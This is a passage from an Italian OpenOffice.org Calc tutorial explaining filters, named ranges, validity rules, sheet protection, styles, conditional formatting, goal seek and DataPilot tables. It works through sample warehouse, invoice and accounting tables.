4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
15	13	propoli 20 g	€ 10,00	20%	2,00%

Per togliere un filtro, basta selezionare la zona, o tutto il foglio, e quindi utilizzare la voce `Dati`, `Filtro`, `Rimuovi filtro`.

Il filtro automatico si presta per l'uso di criteri molto semplici, ma ha il vantaggio di essere gestibile al volo. Una volta selezionata la zona (la stessa zona di prima, inclusa l'intestazione), si procede con `Dati`, `Filtro`, `Filtro automatico`:

A1 | codice articolo

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0	--	--	--	--
3	1	telo copri monitor	€ 5,00	20%	5,00%
4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
9	7	borsa per notebook	€ 20,00	20%	
10	8	zaino per notebook	€ 20,00	20%	
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%

Per esempio, si decide di filtrare la zona in base al prezzo unitario di vendita, per visualizzare solo gli articoli con un prezzo pari a 10,00 €. Per fare questo si apre la tendina del prezzo (colonna C) e si seleziona 10:

A1 | codice articolo

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0	--			--
3	1	telo copri monitor			5,00%
4	2	porta CD/DVD da viaggio			
5	3	porta CD/DVD a colonna			
6	4	luce per notebook usb			
7	5	adattatore da AT a PS/2			3,00%
8	6	adattatore da PS/2 a AT			
9	7	borsa per notebook			
10	8	zaino per notebook			
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%

Tutti
Top 10
Filtro standard...
- vuoto -
- non vuoto -
3
5
10
20
--

Dopo l’applicazione del filtro, si vede il pulsantino della tendina che ha una freccia blu, a indicare che lì è stato selezionato qualcosa:

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
15	13	propoli 20 g	€ 10,00	20%	2,00%

122.18.3 Modulo di immissione

Quando si inseriscono dati in forma tabellare, con una sola riga di intestazione e un corpo contenente righe riconducibili alle tuple delle basi di dati, è possibile accedere a questi dati attraverso una maschera di inserimento e modifica, dalla voce `Dati`, `DataForm`. Si prenda per esempio la tabella già apparsa in precedenza, contenente gli articoli di un magazzino: conviene selezionare la tabella già esistente e quindi procedere con la richiesta del modulo di immissione e modifica.

Figura 122.245. Dopo avere selezionato la tabella esistente, si richiede la funzione `Dati`, `DataForm`.

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0				
3	1	telo copri monitor	€ 5,00	20%	5,00%
4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
9	7	borsa per notebook	€ 20,00	20%	
10	8	zaino per notebook	€ 20,00	20%	
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%
16					
17					

Si ottiene la maschera, dalla quale è possibile scorrere le varie righe della tabella, suddivise nei campi rispettivi.

Figura 122.246. Scorrimento dei dati esistenti.

Per inserire una riga, con altri dati, si deve selezionare il bottone grafico [NEW]; per eliminare la riga visualizzata, si deve selezionare il bottone grafico [DELETE]. La cancellazione di una riga implica lo scorrimento delle righe successive in alto.

122.19 Nomi e casella nome

A fianco della riga di digitazione, di norma appare a sinistra un campo, noto come «casella nome» o «casella del nome». Al suo interno si leggono normalmente le coordinate della cella attiva o della zona di celle selezionata.

All'interno della casella-nome è possibile scrivere una coordinata, seguita da [*Invio*], per spostare il cursore del foglio sulla cella corrispondente; in alternativa, è possibile scrivere le coordinate di una zona di celle (seguite da [*Invio*]), per ottenerne la selezione. Ma a parte questo, è possibile dare un nome a una zona rettangolare di celle: per farlo si deve prima selezionare la zona scelta, quindi si va a scrivere nella casella-nome, evitando di riutilizzare nomi già usati per le schede della cartella di lavoro.

I nomi non possono contenere spazi o simboli speciali (è comunque ammesso il trattino basso, '_'), inoltre non devono essere confondibili con delle coordinate. In ogni caso, se il nome non è adatto, si viene avvisati. In altri termini, fino a che si vede il suggerimento '**`Definisci nome area`**', il nome è accettabile.

Una volta che dei nomi di zone (o di singole celle) sono stati definiti, questi risultano selezionabili dal menù a tendina della stessa casella-nome: scegliendone uno (o scrivendone letteralmente il nome) si ottiene la selezione della zona corrispondente.

Il nome di una zona di celle, può essere usato nelle espressioni al posto delle coordinate relative. Per esempio, al posto di scrivere '**`=SOMMA(B3:B10)`**', se il nome '**`entrate`**' corrisponde alla zona B3:B10, si potrebbe scrivere '**`=SOMMA(entrate)`**', migliorando notevolmente la comprensibilità dell'espressione.

122.19.1 Gestione completa

Con OpenOffice.org_Calc, attraverso la casella-nome, è possibile definire un nome, ma non lo si può cancellare o modificarne l'estensione. Per queste cose occorre intervenire attraverso una voce del menù, `Inserisci`, `Nome`, `Definisci`, raggiungibile anche attraverso la combinazione [*Ctrl F3*]:

Nome
articoli_tabella
articoli_corpo
articoli_tabella
OK
Annulla
?
Modifica
Elimina
Riferito a
$'ordina-filtra'.$A$1:$E$15
Extra
Tipo di area
Area di stampa
Ripeti colonna
Filtro
Ripeti riga

La figura mostra la maschera completa, la quale si ottiene con la selezione del bottone grafico EXTRA.

Tasto o combinazione di tasti	Effetto
Ctrl + F3	Apre la finestra di gestione dei nomi, equivalente alla funzione del menù *Inserisci*, *Nome*, *Definisci*.

122.19.2 Denominazione automatica

Si può fare in modo di attribuire automaticamente i nomi a delle zone, partendo da una tabella con intestazioni: le zone vengono così create con le descrizioni delle intestazioni stesse. In pratica, si seleziona una zona, quindi si accede alla voce *Inserisci*, *Nome*, *Crea*, e si specifica quali intestazioni considerare. Prendendo come riferimento l'esempio già apparso, può essere conveniente utilizzare soltanto l'intestazione superiore:

Crea nomi da
Prima riga
Colonna sinistra
Ultima riga
Colonna destra
OK
Annulla
?

Facendo riferimento alla tabella apparsa nel capitolo precedente, relativa a degli articoli di magazzino, si ottengono i nomi '**`codice_articolo`**', '**`denominazione`**',

'**prezzo_unitario_di_vendita**', '**IVA**' e '**sconto**'. Tali nomi si riferiscono alle colonne introdotte dall'intestazione rispettiva, escludendo l'intestazione stessa.

codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
0				
1	telo copri monitor	€ 5,00	20%	5,00%
2	porta CD/DVD da viaggio	€ 5,00	20%	
3	porta CD/DVD a colonna	€ 10,00	20%	
4	luce per notebook usb	€ 10,00	20%	
5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
6	adattatore da PS/2 a AT	€ 3,00	20%	
7	borsa per notebook	€ 20,00	20%	
8	zaino per notebook	€ 20,00	20%	
9	miele millefiori 1 kg	€ 5,00	10%	
10	miele di acacia 1 kg	€ 5,00	10%	7,00%
11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
12	pappa reale pura 10 g	€ 20,00	20%	2,00%
13	propoli 20 g	€ 10,00	20%	2,00%

codice_articolo

denominazione

prezzo_unitario_di_vendita

IVA **sconto**

122.19.3 Inserimento guidato

Durante l'inserimento di un'espressione, nella quale si vuole scrivere il nome di una zona memorizzata precedentemente, ci si può fare aiutare attraverso la voce *Inserisci*, *Nome*, *Inserisci*. Si ottiene una maschera dalla quale è possibile trovare e scegliere il nome, senza doverlo digitare.

Inserisci nome

articoli_corpo
articoli_tabella
codice_articolo
denominazione
IVA
prezzo_unitario_di_vendita
sconto

OK

Annulla

?

Inserisci tutto

122.20 Verifica di validità

Alle celle in cui si prevede l'inserimento di valori, è possibile associare dei criteri di validità, allo scopo di rifiutare dati non validi, o anche solo di avvisare delle incongruenze l'utente. Per ottenere questo risultato, dopo avere selezionato una cella o una zona di celle da sottoporre allo stesso tipo di controllo, si procede richiamando dal menù la voce `Dati`, `Validità`. Si ottiene una finestra organizzata in più maschere e si parte dalla voce `Criteri`. Nella figura successiva si vede un esempio di compilazione, in cui si ipotizza di voler accettare solo percentuali, ma inferiori o uguali al 10 %.

Figura 122.255. `Dati`, `Validità`, `Criteri`. Si accettano solo valori decimali (perché in effetti si fa riferimento a percentuali), fino a un massimo del 10 %.

Criteri | Aiuto per la digitazione | Messaggio di errore

Permetti: Decimale

☑ Accetta celle vuote

Dati: minore o uguale

Massimo: 10%

OK | Annulla | ? | Ripristina

Va compilata anche la maschera `Messaggio di errore`, di cui si vede un esempio nella figura successiva.

Figura 122.256. `Dati`, `Validità`, `Messaggio di errore`.

Se poi si tenta di inserire un valore non valido, sulla base delle figure di esempio mostrate, si ottiene una finestra di dialogo di spiegazione:

Il limite di OpenOffice.org Calc 3, sta nel fatto che i criteri di validità si possono basare esclusivamente su dati costanti.

122.21 Protezione

Quando si realizza un lavoro di una certa complessità, è importante prevenire gli errori, soprattutto se si tratta di questioni estremamente banali. Il problema principale consiste normalmente nell'impedire che si possano modificare, inavvertitamente o maliziosamente, certe aree del foglio di lavoro, per lasciare accessibili solo le celle in cui i dati vanno immessi.

La condizione predefinita di ogni cella prevede una protezione contro le modifiche, ma tale protezione deve essere prima abilitata, a livello di foglio (scheda) o al livello di tutto il documento.

122.21.1 Modifica dello stato di protezione delle celle

Inizialmente, il documento gestito con il foglio elettronico funziona senza considerare le protezioni. Questo fatto consente di intervenire nella configurazione delle celle, con la funzione `Formato`, `Celle`, `Protezione celle`. Ciò che si vede nella figura successiva è la configurazione predefinita.

Figura 122.258. `Formato`, `Celle`, `Protezione celle`.

Il tipo di protezione può essere accentuato, per esempio togliendo la facoltà di visualizzare le formule o di stampare l'area delle celle prese in considerazione. Ma per consentire la modifica, occorre disabilitare la voce `Protezione`.

122.21.2 Attivazione e disabilitazione della gestione protetta

Una volta disabilitata la voce di protezione da tutte le celle che si vogliono modificare, o comunque, una volta modificata la configurazione di protezione per le celle a cui si è interessati, il meccanismo di protezione va abilitato espressamente, altrimenti rimane una pura astrazione. Si procede con la voce del menù `Strumenti`, `Proteggi documento`, e poi `Foglio`, oppure `Documento`. Al momento dell'attivazione del meccanismo viene richiesto di definire una parola d'ordine, la quale può essere omessa.

Figura 122.259. `Strumenti`, `Proteggi documento`, `Foglio`.

Per modificare il lavoro, intervenendo sulle celle protette, è necessario sbloccarlo, cosa che si ottiene con lo stesso comando, dal menù, usato per attivare la protezione. Tuttavia, va tenuto in considerazione il fatto che se, al momento dell'attivazione, è stata specificata una parola d'ordine, questa va inserita per poter sbloccare il foglio o il documento.

Figura 122.260. Disattivazione della gestione della protezione: se era stata specificata una parola d'ordine, a questo punto occorre inserirla per sbloccare il lavoro.

122.21.3 Esercizio

Si riapra il file '`fattura-14.ods`' creato nell'esercitazione 122.17.10 e lo si salvi con il nome '`fattura-15.ods`', per poi completarlo liberando le celle in cui vanno immessi i dati e bloccando complessivamente il foglio, senza parola d'ordine, al solo scopo di evitare errori involontari di alterazione del modello di fattura.

Figura 122.261. Le celle che appaiono con uno sfondo grigio, sono quelle a cui va tolta la protezione, essendo le uniche in cui va inserito qualcosa per ottenere la fattura. Tutto il resto deve rimanere protetto.

Azienda per le esercitazioni

via Morganella EST, 21
31050 Ponzano Veneto TV
p.i.: 11111111111

codice cliente:	2	
Belletti Ugo		
via Terraglio, 78		
31100	Treviso	TV
CF o PI:	02403210269	

Indirizzo di destinazione

Belletti Ugo

via Merenda, 1
31100 Treviso TV

data fattura	fattura n.
31 mar 2009	123
data e orario consegna o inizio trasporto	
causale del trasporto	1
vendita	
aspetto esteriore dei beni	1
scatole di cartone	n. colli

ordine		documento di trasporto		porto	1	trasporto a mezzo del	11
numero	data	numero	data	franco – FMV		vettore	
150	1 mar 2009						

spese di trasporto	spese di imballo	pagamento	
200,00	100,00	12	tratta 60 g.d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
11	cera d'api grezza 1 kg	123,00	10,00%	2,00%	5,00	542,43	10%
3	porta CD/DVD a colonna	234,00			10,00	2 340,00	20%
5	adattatore da AT a PS/2	17,00	3,00%	1,00%	3,00	48,98	20%
7	borsa per notebook	11,50			20,00	230,00	20%
9	miele millefiori 1 kg	12,30		3,00%	5,00	59,66	10%
11	cera d'api grezza 1 kg	100,00	10,00%	3,00%	5,00	436,50	10%
12	pappa reale pura 10 g	321,00	2,00%	7,00%	20,00	5 851,19	20%
13	propoli 20 g	23,00	2,00%		10,00	225,40	20%
					sconto sul totale:	0,00	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	300,00
			totale IVA	1 899,79
4%	0,00	0,00	spese documentate escluse dalla base imponibile	
10%	1 038,59	103,86	interessi	
20%	8 695,57	1 739,12	cauzioni	
aliquota	imponibile	IVA	bolli	144,95
4%	0,00	0,00	scadenza fattura	
10%	32,01	3,21	30 mag 2009	12 078,90 totale fattura
20%	267,99	53,60		

impresa incaricata del trasporto			annotazioni
Martino trasporti			fattura-15.ods
via diritta, 2			
31033	Castelfranco Veneto	TV	
firma del conducente o del vettore			firma del destinatario

contributo CONAI assolto ove dovuto

122.22 Stili

OpenOffice.org Calc può gestire due tipi di stili: uno riferito alle caratteristiche delle celle; l'altro riferito all'impaginazione. Si può osservare che con il foglio elettronico, la gestione di stili associati alle celle è di uso meno frequente, perché la copia di una cella porta alla riproduzione di tutte le sue caratteristiche nella destinazione; tuttavia, la gestione degli stili per l'impaginazione è importantissima, perché consente di definire formati di pagina diversi a seconda delle schede, ovvero dei foglio di lavoro, considerati.

122.22.1 Gestione degli stili

Per accedere alla gestione degli stili, si deve selezionare la voce `Formato`, `Stili e formattazione`, la quale si può abbreviare con il semplice tasto [*F11*]. Si ottiene una finestra con un elenco di stili, nella quale è presente almeno lo stile '**`Standard`**', dove è possibile selezionare quello preferito, oppure se ne può inserire uno nuovo o modificare uno già esistente.

Tasto o combinazione di tasti	Effetto
F11	Attiva la finestra di gestione degli stili.

Figura 122.263. Finestra di gestione degli stili, nelle due versioni: stile celle e stile impaginazione.

La creazione di un nuovo stile parte sempre da uno preesistente, così che si forma una gerarchia, per l'ereditarietà delle opzioni. Infatti, nella parte bassa della finestra di gestione degli stili, è possibile selezionare una visualizzazione ad albero.

Figura 122.264. Finestre di gestione degli stili, con elenco strutturato ad albero.

Per la creazione o la modifica di uno stile, si fa un clic su una voce preesistente, con il tasto destro del mouse: si ottiene un piccolo menù contestuale.

Figura 122.265. Finestre di gestione degli stili, mentre si apre il menù contestuale di creazione o modifica di uno stile.

La creazione di uno stile nuovo porta a una maschera, organizzata a più maschere, per la definizione delle caratteristiche della cella, oppure dell'impaginazione. In ogni caso, si parte dalla definizione del nome dello stile e dalla sua origine gerarchica.

Figura 122.266. Creazione di uno stile riferito alla cella.

Figura 122.267. Creazione di uno stile riferito all'impaginazione.

Gestione | Pagina | Bordo | Sfondo | Riga d'intestazione | Piè di pagina | Foglio

Nome: Mio_stile

Basato su:

Area: Stili utente

Contiene

Riga d'intestazione (Rientro sinistro 0,0cm, Rientro destro 0,0cm + Dall'alto 0,25cm, Dal basso 0,25cm + Larghezza: 0,0cm, Altezza: 0,75cm) + Piè di pagina (Rientro sinistro 0,0cm, Rientro destro 0,0cm + Dall'alto 0,25cm, Dal basso 0,25cm + Larghezza: 0,0cm, Altezza: 0,75cm) + Testo orizzontale da sinistra a destra

OK | Annulla | ? | Ripristina

La modifica di uno stile avviene in modo analogo alla creazione.

Gli stili creati dall'utente, possono essere eliminati. Si può osservare che facendo un clic con il tasto destro del mouse, su una voce aggiunta dall'utente, si ottiene un menù che ha in più la funzione di cancellazione.

Figura 122.268. Finestre di gestione degli stili, mentre si apre il menù contestuale su una voce creata dall'utente.

Standard
Intestazione
Mio stile
Risulta
Nuovo...
Modifica...
Elimina...
Gerarchico

Standard
Rapporto
Mio sti
Nuovo...
Modifica...
Elimina...
Gerarchico

122.22.2 Applicazione di uno stile

Per applicare uno stile, si deve selezionare il contesto e quindi fare un clic doppio sulla voce che rappresenta lo stile scelto. Nel caso di stili relativi a celle, si devono selezionare le celle coinvolte, quindi, dalla finestra che elenca gli stili, si fa un clic doppio sulla voce preferita e le caratteristiche delle celle in questione si aggiornano istantaneamente.

L'applicazione di uno stile relativo all'impaginazione riguarda la scheda, ovvero il foglio di lavoro attivo: si seleziona l'elenco di stili riferiti all'impaginazione e si fa un clic doppio sul nome prescelto. Ma attenzione: prima è indispensabile individuare esplicitamente l'area di stam-

pa della scheda, con la funzione `Formato`, `Area di stampa`, `Definisci`, perché diversamente l'impaginazione automatica si riferisce sempre solo allo stile standard predefinito.

122.22.3 Osservazioni sulla gestione degli stili riferiti all'impaginazione

Quando si accede alla funzione di configurazione della pagina, con la voce del menù `Formato`, `Pagina`, ovvero quando si accede alla voce equivalente dalla visualizzazione dell'anteprima, si può vedere quale stile di pagina è stato associato, ma da quella posizione lo stile non può essere sostituito con un altro. Nonostante ciò, è possibile cambiare l'impostazione della pagina già associata a uno stile personale, modificando così anche lo stile stesso, come se l'intervento fosse stato fatto dalla finestra di gestione degli stili. In altri termini, modificando l'impaginazione di una scheda associata a un certo stile di pagina, si modifica lo stile e di conseguenza l'impaginazione delle altre schede associate allo stesso stile.

122.22.4 Applicazione di uno stile in modo condizionato

È possibile applicare uno stile particolare, a una cella o a una zona di celle, condizionatamente al verificarsi di una certa condizione. A titolo di esempio si possono predisporre due stili, riferiti alle celle: uno lo si associa a un carattere più spesso e di colore magenta; l'altro lo si associa a un carattere più grande, più spesso e di colore rosso. Il primo stile viene chiamato '**`allarme1`**', mentre il secondo è '**`allarme2`**'. Si riprende un elenco di articoli, già apparso in altri capitoli e si seleziona la colonna dello sconto, per attribuire alle celle uno stile condizionato.

Figura 122.269. Esempio di applicazione di uno stile in modo condizionato.

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0				
3	1	telo copri monitor	€ 5,00	20%	5,00%
4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
9	7	borsa per notebook	€ 20,00	20%	
10	8	zaino per notebook	€ 20,00	20%	
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	7,00%
13	11	cera d'api grezza 1 kg	€ 5,00	10%	10,00%
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%
16					

Si seleziona dal menù la voce `Formato`, `Formattazione condizionata`, ottenendo la maschera della figura successiva. Si possono descrivere un massimo di tre condizioni. Nella figura si vede che si vogliono evidenziare le percentuali degli sconti se queste superano un certo valore, ma si deve fare attenzione all'ordine delle condizioni: se nell'esempio il caso dello stile «allarme1» venisse indicato per prima, lo stile «allarme2» non verrebbe mai utilizzato.

Figura 122.270. `Formato`, `Formattazione condizionata`, con un esempio di compilazione.

Condizione 1
Il valore della ce | maggiore o uguale | 10%
Modello di cella | allarme2
Condizione 2
Il valore della ce | maggiore o uguale | 5%
Modello di cella | allarme1
Condizione 3
Il valore della ce | uguale |
Modello di cella | Standard
OK
Annulla
?

Il risultato che si ottiene lo si può vedere nella figura successiva, ma va osservato e verificato che, se i valori cambiano, lo stile varia di conseguenza.

Figura 122.271. Il risultato finale.

	A	B	C	D	E
1	codice articolo	denominazione	prezzo unitario di vendita	IVA	sconto
2	0				
3	1	telo copri monitor	€ 5,00	20%	**5,00%**
4	2	porta CD/DVD da viaggio	€ 5,00	20%	
5	3	porta CD/DVD a colonna	€ 10,00	20%	
6	4	luce per notebook usb	€ 10,00	20%	
7	5	adattatore da AT a PS/2	€ 3,00	20%	3,00%
8	6	adattatore da PS/2 a AT	€ 3,00	20%	
9	7	borsa per notebook	€ 20,00	20%	
10	8	zaino per notebook	€ 20,00	20%	
11	9	miele millefiori 1 kg	€ 5,00	10%	
12	10	miele di acacia 1 kg	€ 5,00	10%	**7,00%**
13	11	cera d'api grezza 1 kg	€ 5,00	10%	**10,00%**
14	12	pappa reale pura 10 g	€ 20,00	20%	2,00%
15	13	propoli 20 g	€ 10,00	20%	2,00%

Per concludere va chiarito che il valore della cella a cui si applica lo stile condizionato, può essere confrontato con un valore fisso, come già mostrato nell'esempio, oppure con il valore di un'altra cella, specificandone la coordinata.

122.23 Ricerca obiettivo

La cosiddetta «ricerca obiettivo», è un metodo che il foglio elettronico dà per fare un calcolo inverso, partendo dal risultato che si vuole ottenere in una certa cella, contenente un'espressione, modificando deliberatamente una variabile, identificata da un'altra cella. Il concetto si può chiarire soltanto attraverso un esempio, pertanto si propone il problema del calcolo dell'interesse:

Figura 122.272. Il risultato finale.

	A	B
1	capitale	1000,00
2	tasso	5,00%
3	interesse	50,00

	A	B
1	capitale	1000,00
2	tasso	5,00%
3	interesse	=B1*B2

Come si vede, un capitale di 1000,00 €, investito a un tasso del 5,00 %, dà un interesse annuo di 50,00 €. Ci si può domandare quale tasso si dovrebbe applicare per ottenere un rendimento annuo di 123,00 €. Per farlo, senza costruire uno schema con formula inversa, si colloca il cursore sulla cella B3 e si seleziona dal menù la voce `Strumenti`, `Ricerca valore destinazione`.

Figura 122.273. `Strumenti`, `Ricerca valore destinazione`.

Impostazioni predefinite
Cella formula $B$3
Valore di destin.
Cella variabile
OK
Annulla
?

Per ottenere il risultato, si aggiunge il valore di destinazione (l'obiettivo) e la cella da modificare in funzione dell'obiettivo atteso (il tasso di interesse).

Figura 122.274. In questo caso, la cella B3 contiene una formula e si desidera che il risultato di tale formula diventi 123, consentendo la modifica della cella B2.

Impostazioni predefinite
Cella formula $B$3
Valore di destin. 123
Cella variabile $B$2
OK
Annulla
?

Se l'obiettivo è raggiungibile, appare una richiesta di conferma per procedere con la modifica della cella variabile:

Ricerca del valore di destinazione riuscita.
Inserire il risultato (12,30%) nella cella corrente?
Sì No

Ecco il risultato della modifica:

	A	B
1	capitale	1000,00
2	tasso	12,30%
3	interesse	123,00

122.24 Tabella «pivot», o «data pilot»

Una funzionalità abbastanza complessa del foglio elettronico consiste nella possibilità di riorganizzare i dati di una tabella, attraverso quella che è nota come «tabella pivot» in MS-Excel, la quale diviene «data pilot» in OpenOffice.org Calc. Il concetto è meglio chiarito con l'aiuto di un esempio semplice, pertanto si prenda in considerazione la tabella successiva, nella quale si annotano delle informazioni, su dei presunti articoli di magazzino, dei quali si conosce il totale dei carichi e degli scarichi del periodo considerato:

	A	B	C	D	E	F	G	H	I
1	codice	descrizione	colore	tonalità	carichi	scarichi	giacenza	fornitore	agente di vendita
2	A	merce A	nero	scuro	2332	1434	898	mevio	tizio
3	B	merce B	marrone	scuro	2222	345	1877	mevio	caio
4	C	merce C	rosso	chiaro	2344	2333	11	filano	tizio
5	D	merce D	arancio	chiaro	12355	11000	1355	martino	sempronio
6	E	merce E	giallo	chiaro	12357	12333	24	calpurnio	tizio
7	F	merce F	verde	scuro	111111	100101	11010	filano	caio
8	G	merce G	blu	scuro	23456	22222	1234	martino	caio
9	H	merce H	viola	scuro	87654	87000	654	calpurnio	sempronio
10	I	merce I	grigio	chiaro	21678	20988	690	calpurnio	tizio
11	J	merce J	bianco	chiaro	123	100	23	mevio	sempronio
12					275632	257856	17776		

122.24.1 Creazione di una «tabella pivot»

Per creare una tabella organizzata diversamente, a partire dai dati di una già esistente, si parte dalla selezione della tabella di origine, per poi richiamare la voce *Dati*, *DataPilot*, *Avvia*. Si suppone che la tabella mostrata all'inizio del capitolo si trovi nella scheda (foglio) denominata '**elenco**', mentre si vuole collocare la tabella trasformata nella scheda '**pivot**'.

Selezione
- (•) Selezione attuale
- ( ) Sorgente dati registrata in OpenOffice.org
- ( ) Sorgente esterna/interfaccia

[OK] [Annulla] [?]

Si conferma che i dati vanno prelevati da una zona di celle già selezionata. Si passa quindi alla maschera di descrizione della nuova tabella, la quale è bene sia visualizzata in modo completo (va aperta la porzione controllata dal bottone [EXTRA]).

Al momento, la maschera che si vede nella figura non è ancora compilata, a parte l'indicazione, nella parte inferiore, di dove si vuole collocare la tabella trasformata: a partire dalla cella A1 della scheda «pivot». Va osservato che se non si specifica esplicitamente la collocazione della tabella trasformata, questa si posiziona automaticamente al di sotto della tabella di origine.

Dai dati di origine, si decide di voler estrapolare la situazione dei carichi, raggruppati per fornitore, e nulla altro. Per fare questo, si trascinano i bottoni rispettivi nelle zone di interesse della nuova tabella, nello schema offerto dalla maschera di configurazione. In pratica, si trascina il bottone [FORNITORE], nella zona chiamata «riga campi», e il bottone [CARICHI], nella zona «campi dati».

Layout

Campi della pagina

Campi colonne

fornitore | Somma - carichi

Riga Campi

Campi dati

codice | agente di ven

descrizione

colore

tonalità

carichi

scarichi

giacenza

fornitore

OK

Annulla

?

Deinstallazione

Opzioni...

Trascinate i campi da destra nell'area desiderata usando il mouse.

Extra

Risultato

selezione da $elenco.$A$1:$I$11

Risultato da - non definito - $pivot.$A$1

☐ Ignora le righe vuote ☐ Individua categorie

☑ Totale colonne ☑ Risultato complessivo righe

☑ Aggiungi filtro ☑ Abilita analisi dettagliata

Si conferma e, nella scheda '`pivot`', si ottiene una tabellina riassuntiva dei carichi per fornitore:

	A	B
1	Filtro	
2		
3	fornitore	
4	calpurnio	121689
5	filano	113455
6	martino	35811
7	mevio	4677
8	**Totale Risultato**	**275632**

A questo punto si può provare a ripetere il procedimento, per produrre un prospetto che metta in evidenza i carichi, ma suddividendoli per tonalità:

Layout

Campi della pagina

tonalità | Campi colonne

fornitore | Somma - carichi

Riga Campi | Campi dati

codice | agente di ven

descrizione

colore

tonalità

carichi

scarichi

giacenza

fornitore

OK

Annulla

?

Deinstallazione

Opzioni...

Trascinate i campi da destra nell'area desiderata usando il mouse.

Extra

Risultato

selezione da $elenco.$A$1:$I$11

Risultato da - non definito - $pivot.$A$1

Ignora le righe vuote

Individua categorie

Totale colonne

Risultato complessivo righe

Aggiungi filtro

Abilita analisi dettagliata

	A	B	C	D
1	Filtro			
2				
3	Somma - carichi	tonalità		
4	fornitore	chiaro	scuro	**Totale Risultato**
5	calpurnio	34035	87654	**121689**
6	filano	2344	111111	**113455**
7	martino	12355	23456	**35811**
8	mevio	123	4554	**4677**
9	**Totale Risultato**	**48857**	**226775**	**275632**

Esiste anche la possibilità di dividere il prospetto generato in «pagine», ovvero in tabelle distinte, selezionabili attraverso un pulsante che appare sulla destinazione. Questa volta, si richiede una tabella semplice, in cui si raccolgono i carichi distinti per fornitore, ma mettendo il criterio della tonalità nella separazione delle pagine:

Layout

tonalità | Campi della pagina

Campi colonne

fornitore | Somma - carichi

Riga Campi | Campi dati

codice | agente di ven | descrizione | colore | tonalità | carichi | scarichi | giacenza | fornitore

OK | Annulla | ? | Deinstallazione | Opzioni...

Trascinate i campi da destra nell'area desiderata usando il mouse.

Extra

Risultato

selezione da $elenco.$A$1:$I$11

Risultato da - non definito - $pivot.$A$1

☐ Ignora le righe vuote ☐ Individua categorie

☑ Totale colonne ☑ Risultato complessivo righe

☑ Aggiungi filtro ☑ Abilita analisi dettagliata

La tabella che si ottiene ha un filtro, corrispondente alla tonalità. La cella B2 funziona da bottone per la selezione della tonalità prescelta. Le tre figure successive rappresentano altrettante possibilità di rappresentazione della tabella finale, in base alla selezione:

	A	B
1	Filtro	
2	tonalità	- tutto -
3		
4	fornitore	
5	calpurnio	121689
6	filano	113455
7	martino	35811
8	mevio	4677
9	**Totale Risultato**	**275632**

	A	B
1	Filtro	
2	tonalità	chiaro
3		
4	fornitore	
5	calpurnio	34035
6	filano	2344
7	martino	12355
8	mevio	123
9	**Totale Risultato**	**48857**

	A	B
1	Filtro	
2	tonalità	scuro
3		
4	fornitore	
5	calpurnio	87654
6	filano	111111
7	martino	23456
8	mevio	4554
9	**Totale Risultato**	**226775**

122.24.2 Esercizio: dalla prima nota alla situazione dei conti

Per comprendere meglio le possibilità offerte dal meccanismo descritto in questo capitolo, si mostra un altro esempio, da svolgere ed eventualmente estendere. Si parte da una prima nota sviluppata come nella tabella seguente: si osservi che la colonna «eccedenza» viene ottenuta con delle formule, sommando il dare e sottraendo l'avere del conto.

	A	B	C	D	E	F	G
1	data	conto	descrizione	dare	avere	eccedenza	classificazione
2	10 ott	banca x c/c	costituita impresa individuale	200 000,00		200 000,00	attività
3	10 ott	patrimonio netto	costituita impresa individuale		200 000,00	- 200 000,00	passività
4	11 ott	denaro in cassa	prelevamento contanti	2 000,00		2 000,00	attività
5	11 ott	banca x c/c	prelevamento contanti		2 000,00	- 2 000,00	attività
6	13 ott	costi di impianto	pagati oneri di costituzione	2 000,00		2 000,00	attività
